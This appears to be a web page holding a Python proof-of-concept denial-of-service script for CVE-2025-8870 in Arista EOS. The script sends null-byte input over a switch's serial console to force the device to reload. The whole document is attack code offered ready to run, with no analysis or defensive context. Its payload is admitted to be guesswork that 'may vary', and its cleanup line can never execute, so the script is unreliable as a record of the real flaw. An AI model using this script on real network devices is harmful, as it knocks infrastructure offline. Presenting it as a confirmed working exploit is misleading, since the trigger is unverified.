CVE-2025-8870 Arista EOS串行控制台输入导致设备意外重启漏洞

# CVE-2025-8870 PoC - Arista EOS Serial Console DoS # This PoC demonstrates how specific serial console input can trigger device reload # NOTE: This requires physical access to the device's serial console port import serial import time import sys def exploit_cve_2025_8870(serial_port='/dev/ttyUSB0', baud_rate=9600): """ Exploit for CVE-2025-8870: Arista EOS Serial Console Input DoS Prerequisites: - Physical access to device serial console port - Serial cable (USB-to-Serial or standard serial cable) - Serial terminal software or python serial library Usage: python cve_2025_8870_poc.py /dev/ttyUSB0 9600 """ print(f"[*] Connecting to serial console at {serial_port} ({baud_rate} baud)") try: ser = serial.Serial( port=serial_port, baudrate=baud_rate, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, timeout=5 ) except serial.SerialException as e: print(f"[-] Failed to open serial port: {e}") return False print("[+] Connected to serial console") print("[*] Waiting for device prompt...") time.sleep(3) # Read initial output response = ser.read(ser.in_waiting).decode('utf-8', errors='ignore') print(f"[>] Device response: {response[:200]}...") # Malicious input that triggers the vulnerability # The specific input pattern may vary depending on EOS version malicious_input = "\x00" * 100 + "\n" # Null bytes followed by newline print("[*] Sending malicious input to trigger CVE-2025-8870...") ser.write(malicious_input.encode('utf-8')) ser.flush() print("[*] Waiting for device response...") time.sleep(5) # Check if device is still responding response = ser.read(ser.in_waiting).decode('utf-8', errors='ignore') if "reload" in response.lower() or "restart" in response.lower(): print("[!] Device appears to be reloading - vulnerability confirmed") return True else: print("[*] Device still operational - trying alternative input patterns") return False ser.close() if __name__ == "__main__": port = sys.argv[1] if len(sys.argv) > 1 else '/dev/ttyUSB0' baud = int(sys.argv[2]) if len(sys.argv) > 2 else 9600 exploit_cve_2025_8870(port, baud)